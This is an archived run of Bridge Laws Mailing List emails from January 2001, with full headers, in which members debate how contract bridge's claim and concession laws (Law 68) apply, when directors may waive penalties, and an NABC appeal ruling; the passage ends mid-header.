MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 29 Jan 2001 15:53:53.0899 (UTC) FILETIME=[AE3EABB0:01C08A0B] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: Eric Landau To: Bridge Laws Discussion List Sent: Monday, January 29, 2001 6:54 AM Subject: Re: [BLML] Claim? | Last night I played with an inexperienced partner at a local | duplicate. We bid to 5C on xxx/Ax/AKx/Kxxxx opposite | QJxx/-/xxx/Axxxxx. LHO lead HK. On putting down the dummy, partner | said "I hope I didn't bid too much, partner" and I replied "Don't | worry, we're going to make five" (neither intended nor taken by anyone | at the table as a claim). I pitched a diamond, won HA, drew trumps and | stripped the red suits. Down to xxx/-/-/xx opposite QJxx/-/-/x, I led | a spade toward dummy, said "jack", faced my hand, and said "making | five" (now THAT was a claim). RHO, holding SAK10, looked at dummy for | 10-15 seconds, said "I see, if I don't take my second spade now I'll | have to give you a ruff-sluff," and folded his cards. | | Now suppose my RHO had been one of those mean nasty BLs, and had called | the TD at my first comment, insisting I had claimed. I guarantee that | the TD would have allowed me to explain my (rather obvious) line and | would NOT have ruled down one, as he would have (correctly) had I, in | his opinion, claimed at trick one without stating a line of play. If | the BL made any further objection, citing TFLB, the TD would have made | it clear to him that such behavior was not welcome at his club. | | There are those on BLML who would say that we were not playing | duplicate bridge as defined by its laws. | My answer is that if we were | not playing duplicate bridge as defined by its laws, there was nobody | in that so-called duplicate bridge club who would have had any further | interest in playing duplicate bridge as defined by its laws. And | that's what this thread is about. Eric, you have not been the only one who has made that point. Let us look at what it would take for the rules to reflect the way people [want to] play bridge and construct some that would lead players to not seek redress and lead directors to not give it if it was asked for: 'A statement is not a claim if it is directed toward partner in any way.' And.. 'In addition to bids and plays, partners may communicate in ways as they see fit, including ways that could be inadvertently deceptive.' Such provisions would make it clear to players and directors that there would be no redress for statements at T1 such as "Don't worry, we're going to make five". And would it also be made clear that there would not be redress at any other trick? Now, it very well may be that the popularity of bridge would increase with such rules, but I for one am not holding my breath. now, a topic that perhaps is worthy of consideration concerns the inferences that such remarks make available to partner. For instance, dummy can make inferences about declarer/ and the defenders' hands that have the effect similar to dummy exchanging hands with declarer- and could influence dummy in attempting to prevent an irregularity or drawing attention to an opponent 's irregularity. At least the underlying principle is there [L43A2]. Roger Pewick | Eric Landau elandau@cais.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:17:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGHBP12187 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:17:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGH4t12142 for ; Tue, 30 Jan 2001 03:17:05 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA18278 for ; Mon, 29 Jan 2001 10:18:20 -0600 (CST) Message-Id: <3.0.6.32.20010129101618.007cc940@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 10:16:18 -0600 To: Bridge Laws Mailing List From: Grant Sterling Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: References: <3.0.6.32.20010126101739.007d8ae0@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I would be interested in seeing comments from others about their experiences. At 01:03 PM 1/26/2001 -0900, Gordon Bower wrote: >> I think that the vast majority of claims are pretty easy to adjudicate. > >Yes and no. A majority of claims are correct, and therefore easy. A >significant fraction of the remainder have one very obvious flaw which >leads to a very obvious adjudication. But all of the trivial ones and some >of the easy ones don't lead to director calls at all; wrong though it may >be, it is the difficult ones that actually result in a director being >summoned. But this is ok with me. It means that only a tiny fraction of the claims that are made even come to the TD at all. Even if _all_ of those were difficult to adjudicate, it doesn't seem like a big problem to me. >> There are some more difficult claims, and I don't doubt that different >> directors may give different rulings. I don't think that's such a big deal, >> especially since it almost always involves only the question of _how_ badly >> to hurt declarer. > >A matter of opinion; I think it is quite distressing, and so do the >players who don't get what they expected from the director and can't see >why not. See below. I just haven't ever experienced this problem around here. The only times I've seen claims cause problems has been when declarer thought his intention was obvious and that he had been treated harshly by losing an extra trick or two. >> >That is why as a player I would like to see uniformity regardless of >> >whether I get a director who subscribes to BLML or your average club >> >director. >> >> I wouldn't. Because that uniformity can only be purchased at far too >> high a price. The only practical way I can think of to make claim decision >> uniform is to make them uniformly draconian, and I don't want that. My >> club, and tournaments in my area, would be significantly _worse_ off with >> that sort of uniformity. I can't speak for elsewhere in the world. >> Are my experiences so abnormal? I have never been at a table, and >> cannot recall a case at my club, where a bad claim was made and the >> adjudication of that claim caused hard feelings because the ruling was >> perceived as being too lenient to declarer, or because people thought that >> a different TD would have given a significantly different ruling. > >Frankly I think your experience IS very abnormal. Even in our laid-back >twice-a-week club, a bad claim that causes tempers to flare can be counted >on to happen at least a couple times every year. As I said, maybe this is the heart of the issue. The only times I can remember tempers flaring around my club [regarding director calls--not the couple where the husband criticizes his wife every time she takes the wrong finesse and she snips back and...], were over "psyches" and an insufficient bid out of turn. {"Psyche" calls are when you bid something that a couple of the LOL's in the club wouldn't have bid, and they call the director and get mad when the director tells them that there's been no infraction of law.} The only temper-causing incidents I've seen at tournaments have been caused by UI situations, and none of those were at my table. Obviously, there may have been many other cases where someone got mad but it wasn't obvious across the room. >> It just >> doesn't happen. I have seen a very few bad claims where declarer thought >> the law was too strict. > >Declarers who claim and get called generally are sheepish about having >gotten the position wrong when they claimed, know they did something >wrong, and accept whatever penalty they are given. I can think of very few >cases where declarer complained he didn't get enough tricks (and in every >such case I did see, declarer was just being a sore loser.) I remember one case where declarer was ruled against under the assumption that he wasn't aware of the outstanding trump, and he made it very clear that he thought he had been cheated. >On the other hand, claims where the defenders think the law is too >lenient, are very common. Even in cases where the law is perfectly >clear that declarer's line breaks down in time for him to recover a good >result, the defenders are often "upset that declarer got away with a bad >claim." In cases where it is questionable, the defenders want blood and >are mad when they don't get it, while declarer expects to be hung high and >is surprised to be let off the hook. This is certainly totally foreign to my experience. Obviously, I have no way of knowing what is typical around the world. Defenders around here do not usually assume they have anything coming other than the most obvious tricks. >> I have seen a million hands where declarer didn't >> claim when he should have. > >So have I. More often than not, when this happens, I concede. I do when I _know_ whats happening. Even that sometimes upsets the declarer! >> Under no circumstances do I want claim laws >> written that discourage people from claiming. [And yes, I know that "if >> people only claimed when they could clearly state a line that guaranteed >> the tricks they were taking, this wouldn't matter". This is irrelevant to >> the declarer who knows that he will occasionally mis-state a claim or >> forget about an outstanding card.] > >People occasionally make all sorts of other accidental errors too, and >when they do they are perfectly happy to accept the consequences. But they have no choice about that. I.e., they have to follow suit, and so sometimes they're going to revoke. They have to bid, and so sometimes they'll bid out of turn or insufficiently. But they don't have to claim, and draconian penalties for mis-stating a claim or forgetting an outstanding trick will pretty much kill the practice off. They're looking for reasons not to claim already! >GRB Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:20:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGJww13159 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:19:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-4.cais.net (stmpy-4.cais.net [205.252.14.74]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGJpt13117 for ; Tue, 30 Jan 2001 03:19:52 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-4.cais.net (8.11.1/8.11.1) with ESMTP id f0TGJk678384 for ; Mon, 29 Jan 2001 11:19:47 -0500 (EST) Message-Id: <4.3.2.7.1.20010129104153.00a9a7b0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 11:21:40 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: <023e01c08849$0b5b5920$1486b2d1@utcpoqli> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 05:08 AM 1/27/01, Tom wrote: >JARGON PROBLEMS IN LAW 68 (CLAIMS & CONCESSIONS) -- >In this thread on claims, several postings have called attention, >at least obliquely, to the insufficient clarity of L68A in com- >bination with L68C. Specifically, in this regard, I believe that >there is not adequate distinction made in Law 68 among the >following actions: > 1. announcing a claim, > 2. initiating (i.e., committing to) announcement of a claim, and > 3. stating a proposed line of play. >Consequently, some posters to this thread have expressed >confusion or doubt as to exactly when the claimant's right to >state a line of play has expired. >(BTW, in my opinion, where any of the players express doubt >that one of the players has actually committed to making a >claim, the Director should be summoned to adjudicate that >issue first. Consequently, it would be premature and inap- >propriate for the potential claimant to offer a proposed line >of play, pending that adjudication.) I believe Tom has reached the heart of the problem. When a player, even one thoroughly versed in the subtleties of the claims laws, says "I am going to take 10 tricks", this can only, to avoid doing a terrible injustice to both the English language and the game of bridge, be taken as the equivalent of "I am about to embark on a line of play on which I will make 10 tricks regardless of the distribution of the outstanding cards" rather than "10 tricks will be made on this hand on any normal line of play, including those that are careless or inferior, regardless of the distribution of the outstanding cards". If this debate has generated some heat between the literalists and those who believe that the literalists are Draconian Fascists, it is because some of us are naturally reluctant, as working TDs, to tell our players, "Well, of course we know you meant [the former], but the law requires me to hold you to [the latter]." Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:26:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGQiA15506 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:26:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGQbt15470 for ; Tue, 30 Jan 2001 03:26:37 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0TGQTD19936 for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 16:26:29 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Mon, 29 Jan 2001 16:26 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Claim? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> Eric Landau wrote: > Last night I played with an inexperienced partner at a local > duplicate. We bid to 5C on xxx/Ax/AKx/Kxxxx opposite > QJxx/-/xxx/Axxxxx. LHO lead HK. On putting down the dummy, partner > said "I hope I didn't bid too much, partner" and I replied "Don't > worry, we're going to make five" (neither intended nor taken by anyone > at the table as a claim). I pitched a diamond, won HA, drew trumps and > stripped the red suits. Down to xxx/-/-/xx opposite QJxx/-/-/x, I led > a spade toward dummy, said "jack", faced my hand, and said "making I hope you waited until LHO had played small! > five" (now THAT was a claim). RHO, holding SAK10, looked at dummy for > 10-15 seconds, said "I see, if I don't take my second spade now I'll > have to give you a ruff-sluff," and folded his cards. > > Now suppose my RHO had been one of those mean nasty BLs, and had called > the TD at my first comment, insisting I had claimed. I guarantee that > the TD would have allowed me to explain my (rather obvious) line and > would NOT have ruled down one, as he would have (correctly) had I, in > his opinion, claimed at trick one without stating a line of play. If you claim at trick one with "making 5" I do not see how the TD could award down 1. Obviously you are aware of outstanding trumps and there is no line consistent with your statement that gives other than 11 tricks regardless of the position opposing cards (bar an 11-0 heart split). I would expect any TD to request your clarification statement and accept it. As TD I would also give you a PPw for claiming in a manner inappropriate to the opponents you were facing (there are perhaps 5 members of my club against whom I could make such a claim without them being confused to start with). Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:32:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGWL417441 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:32:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGWFt17406 for ; Tue, 30 Jan 2001 03:32:15 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA25280 for ; Mon, 29 Jan 2001 10:33:37 -0600 (CST) Message-Id: <3.0.6.32.20010129103135.007d1260@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 10:31:35 -0600 To: "BLML" From: Grant Sterling Subject: Re: [BLML] Cap Gemini shows the way In-Reply-To: <000a01c08973$83ffd600$0200000a@mindspring.com> References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 04:44 PM 1/28/2001 -0500, Hirsch Davis wrote: >I don't find the behavior inexcusable, nor do I think the players were >trying to place themselves above the law. They were simply trying to >win by virtue of their skill at the table, as opposed to winning via a >legal technicality. And, anti-legal rebel that I am, I approve of this. Looks like I'm very definately odd-man-out again. >That being said, I don't think it was correct to waive the penalty in >the absence of the TD. However, David's original post indicates that >this is the standard at this level, rather than the exception. I agree that it was incorrect to do so. The TD should have been called. >"8. Waiver of Penalties >to waive penalties for cause, at his discretion, upon the request of >the non-offending side." > >This clearly gives the TD the right to waive a penalty, so one way to >approach the revoke would have been to summon the TD and request a >waiver of penalty. Not being overly skilled at the nuances of commas, >particularly in the Laws, there are two phrases here that give me >pause. >a) "penalties for cause"- does this mean that there must be an >extenuating circumstance, such that the TD feels that the penalty >would be inappropriate, or is it simply referring to all penalties >that the OS have given cause to invoke? >b) "at his discretion"- this is the one that really needs >qualification, IMO. > >One possible interpretation of the above is that the TD can waive a >penalty at the request of the NOS whenever he feels like it. Ugh. I like that just fine. >bridge) is that the TD must act as the respresentative of the field >(an aspect of the task that has long since disappeared from the Laws). >This actually applies here, as one of the questions asked in this >thread was how the waiver of the penalty affected the final standings. >This leads to one possible guideline for the phrase "at his >discretion", which could mean that the TD would *not* waive a penalty >if doing so could have a negative impact on other pairs/teams' chances >in the contest. Would such an interpretation effectively end waivers >of penalties? What other guidelines for the phrase "at his Of course it would. If this is how the law is to be applied, then by all means let us delete this law from the books. Obviously, by definition, any "penalty" _COULD_ have an effect on some other pair's chance of winning or losing the contest. Ergo, it would be impossible for a TD to ever waive a penalty, at least in a pairs competition. >discretion" would give a TD guidance on when he should be agreeable to >the request, or when he should oppose it? Any guidelines at all would >help impose some sort of uniformity on how a TD should respond to such >a request. Uniformity again. I've said before this doesn't concern me much. But I agree that giving guidelines can't hurt. I assumed that the law meant that the TD should waive the penalty when asked to do so _unless_, for example, he thought that the waiver was being requested in order to try to manipulate the final standings in favor of some pair. The only times I've ever seen this law applied was in cases like the following the one where the LOL with vision problems thinks the lead was a heart, plays a heart, and then discovers that it was really a diamond. The revoke was waived. If we use the 'could affect' standard, though, this waiver would have been disallowed, and I don't see how that sort of 'protecting the field' is required. >Just a couple of thoughts that struck me. > >Hirsch Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:35:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGZ7w18373 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:35:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-3.cais.net (stmpy-3.cais.net [205.252.14.73]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGZ0t18341 for ; Tue, 30 Jan 2001 03:35:01 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-3.cais.net (8.11.1/8.11.1) with ESMTP id f0TGYuR06766 for ; Mon, 29 Jan 2001 11:34:56 -0500 (EST) Message-Id: <4.3.2.7.1.20010129113144.00a99cb0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 11:36:50 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Concession In-Reply-To: <002501c08893$3dbc6220$07053dd4@default> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:58 PM 1/27/01, Ben wrote: >Team play: top level >The contract is 3 NT. > >In order to make 9 tricks declarer south has to find the queen of >spades. In >dummy A J 5 and K 10 6 in hand. >Declare has the lead in trick 11. He considers how to treat the spade >colour >but at that moment west returns his thirteen cards to the board. There is >little knowledge of the Laws at that level! >Believe it or not but declarer now reads the queen in east. He continues >play and find the queen in west. One down. >The TD was not summoned. >Your ruling please. West has conceded (L68B). East did not immediately object. Subsequent play is immaterial (L68D). Nine tricks. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:39:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGdCX19744 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:39:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGd5t19705 for ; Tue, 30 Jan 2001 03:39:06 +1100 (EST) Received: by mail2.panix.com (Postfix, from userid 130) id A3C8D91D7; Mon, 29 Jan 2001 11:38:36 -0500 (EST) Mime-Version: 1.0 X-Sender: adamw@popserver.panix.com Message-Id: In-Reply-To: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> Date: Mon, 29 Jan 2001 11:38:27 -0500 To: "Marvin L. French" From: Adam Wildavsky Subject: Re: [BLML] Cincinnati NABC Appeal 36 Cc: bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:41 PM -0800 1/26/01, Marvin L. French wrote: >West North East South >2S P 3H* all pass > >The Facts: 3H went down one, +50 for N/S. The Director was called after trick >two. North asked after her final pass about 3H and was told by the bidder that >it was non-forcing. The Director was not called at that time. ... >I don't see that N/S should be denied redress, and would like to know the Law >that says they should be. 9 B 1 (a) The Director must be summoned at once when attention is drawn to an irregularity. >Did they do something "wild, irrational, or >gambling"? Also don't see that their rights were "tainted" by the sight of >dummy. They may not even have been aware that there was an infraction, with >the sight of dummy prompting the thought that maybe they should check with the >TD about that possibility. South didn't ask whether 3H was forcing. There are two possibilities: 1. He didn't care, as he was not going to bid in any case. Then there is no damage, so no need for redress. 2. He knew 3H was forcing, since it would have been alerted otherwise. Now he should call the director, either after South's pass or after the explanation, since one of them must have drawn his attention to the irregularity. >The casebook commentators approved the Panel's decision, giving it a score of >92.3. I'd give it 62.3 What I thought was bizarre about the case was the use made of player consultants. As I understand matters players should be consulted on matters of bridge judgement, not on the laws. The only issue of bridge judgement is the 12C2 "likely" and "at all probable" results had the bid been alerted. Roughly speaking this translates to how likely South was to double. AW -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:44:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGi9o21468 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:44:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGi3t21434 for ; Tue, 30 Jan 2001 03:44:03 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA00107 for ; Mon, 29 Jan 2001 10:45:25 -0600 (CST) Message-Id: <3.0.6.32.20010129104323.00801300@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 10:43:23 -0600 To: "BLML" From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <01b401c087e4$0ac43d20$7ae2f1c3@default> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:05 PM 1/26/2001 +0100, Jac Fuchs wrote: >DWS wrote : > >>Craig Senior writes >>>And continue to do so. As I pointed out, a significant number of >>>posters on this thread think that it is a claim. Not all agree >>>that that is an ideal situation. >> >> Sure. But if 20 people on this list do think it is a claim, >>I do not think that makes me wrong in my assertion >>that over 99% of all bridge players will think it not a claim. > >Well, David, I haven't taken part in this discussion so far, and I >don't have any new points to raise, but I would like to let you know >that it's 21 for the time being :-) >At BLML we have seldom be concerned about what 99% of the players >believe, we usually are looking for what the correct ruling would be. I agree. But in this case, the "anti-claim" camp has asserted that there is a general recognition of what is and what is not a claim among players as a whole, and further that the actual statement falls unambiguously into the non-claim category by that standard. The latter assertion has been explicitly questioned by some in the "claim" camp. They could have argued, as for example David Burn did, that even if everyone in the world recognized it as a non-claim in some sort of pre-legal intuitive-bridge sense, that is totally irrelevant because the laws of bridge have made it a claim, regardless. Some of them did not. So what 99% of all bridge players [I think I was actually the one who used the number, so you're not actually on the hook for that, David :)] think is relevant to _this_ thread. It is a premise in the anti-claim argument. It becomes irrelevant if you reject a different premise of that argument ["the law should not be interpreted so as to call something a duck when the overwhelming majority of bridge players know it's a frog"], but it is not irrelevant _ab initio_. >Most of the time, I agree wholeheartedly with your statements on what >the correct ruling would be, and when I initially do not, I usually >become convinced by your excellent arguments. However, this time I >believe the Law leaves us no choice. "We are going to make twelve >tricks!" sounds like a claim to me. Me, too. But [I forget the exact wording] "partner, we missed a slam, we're going to make 12 tricks" doesn't sound at all like a claim to me. >Jac >(Jac Fuchs) Respectfully, Grant Sterling PS: I'm going to try to shut up soon. I'm sure no-one will mind. :) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:52:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGqHR24252 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:52:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGqAt24221 for ; Tue, 30 Jan 2001 03:52:11 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA04012 for ; Mon, 29 Jan 2001 10:53:32 -0600 (CST) Message-Id: <3.0.6.32.20010129105130.00805a90@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 29 Jan 2001 10:51:30 -0600 To: "BLML" From: Grant Sterling Subject: Proposed L68, was Re: [BLML] Claim? In-Reply-To: <006101c0888e$dbdcfb40$9a9c1e18@san.rr.com> References: <023e01c08849$0b5b5920$1486b2d1@utcpoqli> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:26 AM 1/27/2001 -0800, Marvin L. French wrote: > >Tom Wood wrote: >> (BTW, in my opinion, where any of the players express doubt >> that one of the players has actually committed to making a >> claim, the Director should be summoned to adjudicate that >> issue first. Consequently, it would be premature and inap- >> propriate for the potential claimant to offer a proposed line >> of play, pending that adjudication.) I don't see that your re-wording covers this at all. >> PROPOSED RE-DRAFTS -- >> L68A. Announcing a Claim or Initiating a Claim Announcement >> If a contestant states that he and his partner will win a >> specific number of tricks, he has thereby announced a claim >> of those tricks. > >What's wrong with the current "statement to the effect"? Your words >seem to require that a number be mentioned, but "We missed a cold >slam" should certainly constitute a claim. Argh. Must remain calm. No Comment. >> Alternatively, if a contestant suggests that >> play be curtailed, he has initiated a claim announcement and >> should state immediately how many tricks he is claiming. >> Similarly, a contestant who shows his unplayed cards has >> also initiated a claim announcement and should state >> immediately how many tricks he is claiming (unless he is the >> declarer and has clearly stated that he is not making a claim). >> >> L68C. Claimant's Statement of Proposed Line of Play >> Any announcement of a claim should be followed at once by >> the claimant's stating a proposed (offensive or defensive) line >of >> play by which he and his partner would win the number of tricks >> claimed. > >> The claimant is entitled to a reasonable opportunity to >> complete his statement of proposed line of play without >interfer- >> ence from any of the other contestants at the table. If alleged claimer had no idea he was making a claim, then he will not issue a clarification statement no matter how much opportunity his opponents give him. Since this still says "at once", I cannot see how a TD who rules that an "unintentional claim" was a claim can possibly allow a clarification statement. [Except a belated one, which is worse than none at all.] >Marv >San Diego, CA, USA Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 03:53:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TGqul24472 for bridge-laws-outgoing; Tue, 30 Jan 2001 03:52:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TGqmt24426 for ; Tue, 30 Jan 2001 03:52:49 +1100 (EST) Received: from james (user-2ive49g.dialup.mindspring.com [165.247.17.48]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id LAA22275; Mon, 29 Jan 2001 11:52:31 -0500 (EST) Message-ID: <00f201c08a13$e40505c0$3011f7a5@james> From: "Craig Senior" To: "Grattan Endicott" , "Peter Swensson" , , "alain gottcheiner" References: <3.0.6.32.20010124132038.00841e30@pop.ulb.ac.be> 